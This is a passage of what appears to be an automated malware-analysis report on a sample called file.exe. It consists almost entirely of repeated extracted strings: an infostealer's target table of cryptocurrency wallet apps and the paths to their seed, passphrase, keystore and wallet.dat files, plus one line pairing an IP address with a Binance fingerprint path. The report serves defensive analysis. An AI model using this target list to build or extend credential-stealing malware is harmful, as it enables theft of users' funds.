Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16bert\AppData\Roaming\Binance\.finger-print.fp6
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi 